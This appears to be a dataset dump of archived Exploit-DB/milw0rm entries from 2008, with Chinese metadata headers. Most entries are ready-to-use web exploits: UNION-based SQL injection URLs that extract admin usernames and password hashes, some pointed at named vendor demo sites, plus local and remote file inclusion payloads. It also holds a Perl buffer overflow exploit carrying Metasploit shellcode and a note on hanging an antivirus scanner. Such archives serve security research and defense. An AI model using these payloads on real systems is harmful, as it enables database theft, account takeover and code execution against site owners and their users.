QLWD/code_shield huggingface dataset:
标题: Scripts24 iPost 1.0.1 - 'id' SQL Injection EDB-ID: 6186 CVE: 2008-3491 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## iPOST ( go.php action )
##
## www.scripts24.com
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
##  www.Target.com/go.php?action=report&id= Real id here +UNION+SELECT+010,CONCAT_ES(0x3a,username,password)MrSQL+FROM+itgp_moderator+limit+1,1--
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Milw0rM :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6186
标题: phpMyRealty 2.0.0 - 'location' SQL Injection EDB-ID: 6180 CVE: 2008-3445 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: ????????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                 ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T              ??
???????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....       ?????
???????????????????????????????????????????????????????????????????????????????
??                           [ Remote SQL Injection ]                        ??
???????????????????????????????????????????????????????????????????????????????
: Author   : CraCkEr                   : :                                    :
? Group    : N/A                       ? ?                                    ?
? Script   : phpmyrealty               ? ?         Register Globals :         ?
? Download : phpmyrealty.com           ? ?                                    ?
? Critical : High [????????]           ? ?          [?] ON   [ ] OFF          ?
?                                      ? ?                                    ?
? ?????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                              ??
???????????????????????????????????????????????????????????????????????????????
:                                                                             :
?  Release Notes:                                                             ?
?  ?????????????                                                              ?
?  Typically used for remotely exploitable vulnerabilities that can lead to   ?
?  system compromise.                                                         ?
?                                                                             ?

???????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                 ??
???????????????????????????????????????????????????????????????????????????????

[SQL]

www.localhost/path/index.php?location=-1 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7 FROM pmr.pmr_2_admins--

Live Demo:

http://www.phpmyrealty.com/demo/index.php?location=-1 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7 FROM pmr.pmr_2_admins--



???????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .




???????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
???????????????????????????????????????????????????????????????????????????????


# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6180
标题: phpAuction GPL Enhanced 2.51 - 'profile.php' SQL Injection EDB-ID: 6182 CVE: 2008-3487 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: |___________________________________________________|
|
| PHPAuction GPL Enhanced V2.51 (profile.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://phpauctions.info/
|
| DorK   : /:)
|___________________________________________________|

Exploit:  



www.[target].com/Script/profile.php?id=-19+union+select+1,concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+FROM+PHPAUCTION_adminusers--


L!VE DEMO: :


http://phpauctions.info/phpauction/demo/profile.php?id=-19+union+select+1,concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+FROM+PHPAUCTION_adminusers--


___________________

admin login :

www.[target].com/Script/admin/
___________________
password : md5
___________________


____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| CraCkEr | Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-01] URL: https://www.exploit-db.com/exploits/6182
标题: TubeGuru Video Sharing Script - 'UID' SQL Injection EDB-ID: 6170 CVE: 2008-3674 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: |___________________________________________________|
|
| TubeGuru (ugroups php UID) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.pozscripts.com/product_details.php?category_id=0&item_id=3
|
| DorK   : inurl:ugroups.php?UID=
|
|___________________________________________________|



Exploit:  

www.[target].com/Script/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+signup--



L!VE DEMO: :


http://www.tubeguru.net/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,username,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15+from+signup--



admin login :

www.[target].com/Script/admin2/siteadmin/index.php

____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6170
标题: PozScripts Classified Ads Script - 'cid' SQL Injection EDB-ID: 6169 CVE: 2008-3673 2008-3672 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: |___________________________________________________|
|
| Classified Ads (cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                   |
|
| script : http://www.pozscripts.com/product_details.php?category_id=0&item_id=5
|
| DorK   : inurl:browsecats.php?cid=
|___________________________________________________|






Exploit:  

www.[target].com/Script/browsecats.php?cid=-32+union+select+1,concat_ws(0x3a,admin_name,pwd),3,4,5+from+bbxbzauctions_admin--




L!VE DEMO:


http://www.bbx.com/bbxca/browsecats.php?cid=-32+union+select+1,concat_ws(0x3a,admin_name,pwd),3,4,5+from+bbxbzauctions_admin--


________________________
table_name : column_name

bbxbzauctions_admin:admin_name
bbxbzauctions_admin:pwd
freetplbanners_admin:admin_name
freetplbanners_admin:pwd

________________________




____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6169
标题: LetterIt 2 - 'Language' Local File Inclusion EDB-ID: 6179 CVE: 2008-3446 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-31 漏洞利用脚本: ====================================================================


  [o] LetterIt 2 Local File Inclusion Vulnerability

       Software : LetterIt Newsletter Manager version 2
       Vendor   : http://www.letterit.de/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com


====================================================================


  [o] Vulnerable file

       inc/wysiwyg.php

        include("../language/".$_GET['language'].".php");



  [o] Exploit

       http://localhost/[path]/inc/wysiwyg.php?language=[LFI]%00


====================================================================


  [o] Greetz

       supported by irc.nob0dy.net
       MainHack BrotherHood [ www.mainhack.com ]
       VOP Crew [ Vaksin13 OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ martfella
       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke

        
====================================================================

# milw0rm.com [2008-07-31] URL: https://www.exploit-db.com/exploits/6179
标题: F-PROT AntiVirus 6.2.1.4252 - Malformed Archive Infinite Loop Denial of Service EDB-ID: 6174 CVE: 2008-3447 类型: DOS 平台: MULTIPLE 发布日期: 2008-07-31 漏洞利用脚本: $ /opt/f-prot/fpscan snot.zip

F-PROT Antivirus version 6.2.1.4252 (built: 2008-04-28T16-44-10)
FRISK Software International (C) Copyright 1989-2007

Engine version: 4.4.4.56
Virus signatures: 200806021748d9e53873896ea96bd4e8a470344c25b5
                  (/opt/f-prot/antivir.def)

Scanning: -

^^ at this point the scanner gets stuck in an infinite loop and will not
finish or continue to other files if told to scan a directory.

If you use F-PROT you probably won't be reading this on account of
your scanner hanging, woops.
--
kokanin

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6174.zip (2008-snot.zip.bla)

# milw0rm.com [2008-07-31] URL: https://www.exploit-db.com/exploits/6174
标题: HIOX Browser Statistics 2.0 - Remote File Inclusion EDB-ID: 6162 CVE: 2008-3402 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: ####################################################################################################
 HIOX Browser Statistics 2.0 Remote File Inclusion Vulnerability
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################
[~] Found by : Ghost Hacker  - R-H Team -                      |,  .-.  .-.  ,|
[~] My Blog : http://gh0st10.wordpress.com                     | )(_o/  \o_)( |
[~] My Email : Ghost-r00t@Hotmail.com                          |/     /\     \|
[~] Name Script : HIOX Browser Statistics 2.0
[~] Download : http://www.hscripts.com/scripts/php/downloads/HBS_2_0.zip
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Error (hioxupdate.php + hioxstats.php) :
include "$hm/browser.php";
[~] Exploit :
http://xxxx.com/[path]/hioxupdate.php?hm=Evil_Code
http://xxxx.com/[path]/hioxstats.php?hm=Evil_Code
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Greetz :
Mr.SaFa7 & RoMaNcYxHaCkEr & Night Mare & Root Hacker & Dmar al3noOoz ,
All Members Real Hack & Members Arabs Security And All My Friends ,
####################################################################################################
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6162
标题: nzFotolog 0.4.1 - 'action_file' Local File Inclusion EDB-ID: 6164 CVE: 2008-3405 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: #####################################################################################
####                           nzFotolog v0.4.1 (Lfi)                            ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (R3d.W0rm)                                                        #
#Discovered by : IRCRASH (R3d.W0rm)                                                 #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm                                         #
#####################################################################################
#                                                                                   #
#Script Download : www.nazgulled.net                                                #
#                                                                                   #
#DORK : "Powered by nzFotolog v0.4.1 Â© 2005-2006 Ricardo Amaral"                    #
#                                                                                   #
#####################################################################################
#                                       [Lfi]                                       #
#                                                                                   #
#http://Example/index.php?action_file=file.type%00                                  #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6164
标题: HIOX Random Ad 1.3 - Remote File Inclusion EDB-ID: 6161 CVE: 2008-3401 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: ####################################################################################################
 HIOX Random Ad 1.3 (hioxRandomAd.php hm) RFI Vulnerability
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################
[~] Found by : Ghost Hacker  - R-H Team -                      |,  .-.  .-.  ,|
[~] My Blog : http://gh0st10.wordpress.com                     | )(_o/  \o_)( |
[~] My Email : Ghost-r00t@Hotmail.com                          |/     /\     \|
[~] Name Script : HIOX Random Ad 1.3
[~] Download : http://www.hscripts.com/scripts/php/downloads/HRA_1_3.zip
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Error (hioxRandomAd.php) :
include "$hm/admin/props.php";
[~] Exploit :
http://xxxx.com/[path]/hioxRandomAd.php?hm=Evil_Code
#############################[ I love the Messenger of Allah Mohammad ]#############################
[~] Greetz :
Mr.SaFa7 & Night Mare & Root Hacker & Dmar al3noOoz ,
All Members Real Hack & Members Arabs Security And All My Friends ,
####################################################################################################
 Ghost Hacker , R-h Team , Real Hack We Will Be Back Soon  :) 
####################################################################################################

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6161
标题: Gregarius 0.5.4 - SQL Injection EDB-ID: 6159 CVE: 2008-3374 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-29 漏洞利用脚本: ##########################################################
# GulfTech Security Research                July 29, 2008
##########################################################
# Vendor : Marco Bonetti
# URL : http://www.gregarius.net/
# Version :  Gregarius <= 0.5.4
# Risk : SQL Injection
##########################################################


Description:
Gregarius is a popular web-based RSS/RDF/ATOM feed aggregator
written in php. There are some SQL Injection issues in Gregarius
that allow for the disclosure of database contents and ultimately
the complete compromise of the Gregarius installation via exposed
admin credentials. It is advised that Gregarius users update their
gregarius installations as soon as possible.



SQL Injection:
Gregarius contains a number of SQL Injection issues that allow for
an attacker to expose admin credentials with no kind of authentication
needed. Lets have a look at the following code taken from /ajax.php


function __exp__getFeedContent($cid) {
    ob_start();
    rss_require('cls/items.php');
    
    $readItems = new ItemList();

    $readItems -> populate(" not(i.unread & ". RSS_MODE_UNREAD_STATE  .")
    and i.cid= $cid", "", 0, 2, ITEM_SORT_HINT_READ);
    $readItems -> setTitle(LBL_H2_RECENT_ITEMS);
    $readItems -> setRenderOptions(IL_TITLE_NO_ESCAPE);
    foreach ($readItems -> feeds[0] -> items as $item) {
        $item -> render();
    }
    $c = ob_get_contents();
    
    ob_end_clean();
    return "$cid|@|$c";
}


The above function is called by sajax_handle_client_request() and
allows for an attacker to specify the content of $cid via the rsargs[]
array. This being the case an attacker is able to influence the query
regardless of magic_quotes_gps settings etc.

/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(
char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*

The above query would successfully dump the users table to the browser.
The password hashes in the database are md5 encrypted, but an attacker
only need to md5 encrypt that password hash and place it in a cookie with the format of user|hash to gain access to the administrative controls.



Solution:
The Gregarius developers have been made aware of this issue, and users
are encouraged to upgrade as soon as possible.



Credits:
James Bercegay of the GulfTech Security Research Team

# milw0rm.com [2008-07-29] URL: https://www.exploit-db.com/exploits/6159
标题: CoolPlayer 2.18 - '.m3u' File Local Buffer Overflow EDB-ID: 6157 CVE: 2008-3408 类型: LOCAL 平台: WINDOWS 发布日期: 2008-07-29 漏洞利用脚本: #!/usr/bin/perl
# k`sOSe - 07/29/2008

use warnings;
use strict;

# http://www.metasploit.com
# EXITFUNC=seh, CMD=c:\WINDOWS\system32\calc.exe
# [*] x86/shikata_ga_nai succeeded, final size 169
my $shellcode = "\xd9\xca\xd9\x74\x24\xf4\x5e\xb8\xf5\x65\x2d\xfb\x31\xc9\xb1" .
  "\x24\x31\x46\x19\x83\xee\xfc\x03\x46\x15\x17\x90\xd1\x13\x93" .
  "\x5b\x2a\xe4\x90\x19\x16\x6f\xda\xa4\x1e\x6e\xcd\x2c\x91\x68" .
  "\x9a\x6c\x0e\x88\x77\xdb\xc5\xbe\x0c\xdd\x37\x8f\xd2\x47\x6b" .
  "\x74\x12\x03\x73\xb4\x58\xe1\x7a\xf4\xb7\x0e\x47\xac\x63\xeb" .
  "\xcd\xa9\xe0\xac\x09\x33\x1d\x34\xd9\x3f\xaa\x32\x82\x23\x2d" .
  "\xae\xb6\x40\xa6\x31\x22\xf1\xe4\x15\xb0\xc1\x4b\x67\x4e\xa5" .
  "\x25\xe3\x25\x60\xf9\x60\x79\x61\x72\x06\x66\xd4\x0f\x8f\x9e" .
  "\xaf\xf7\xd3\x5f\xc5\x57\xbc\xaf\x90\x53\x63\x38\x3d\xa5\x11" .
  "\xb6\x6a\xa6\xc1\xa4\xae\x04\x59\x62\x81\xf0\x2a\x23\x4e\xa4" . 
  "\xc7\xb2\x03\x20\x4d\x28\xd7\xfa\xd1\xd1\x76\x96\x8a\x3b\x1c" .
  "\x1e\x28\x44\xd4";

print $shellcode .
 "\x41" x (218 - length($shellcode)) .
 "\x32\x4c\x3c\x7e" ; # call ebx  user32.dll  winxp sp3

# milw0rm.com [2008-07-29] URL: https://www.exploit-db.com/exploits/6157
标题: Article Friendly Pro/Standard - SQL Injection EDB-ID: 6167 CVE: 2008-3670 2008-3649 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-30 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## Article Friendly Pro ( categorydetail.php Cat )
##
## Article Friendly Standard ( authordetail.php autid )
##                            
## http://www.articlefriendly.com/                           
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.AtsDp.CoM
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
##
## -[[: Exploites :]]-
##
## [[ Article Friendly Pro ]]       www.Target.com/authordetail.php?autid=-1'+union+select+0,0,0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/*
##
## [[ Article Friendly Standard ]]  www.Target.com/categorydetail.php?Cat=1'+and+1=0+union+select+0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0/*
##
########################
########################

#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: ****** :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-30] URL: https://www.exploit-db.com/exploits/6167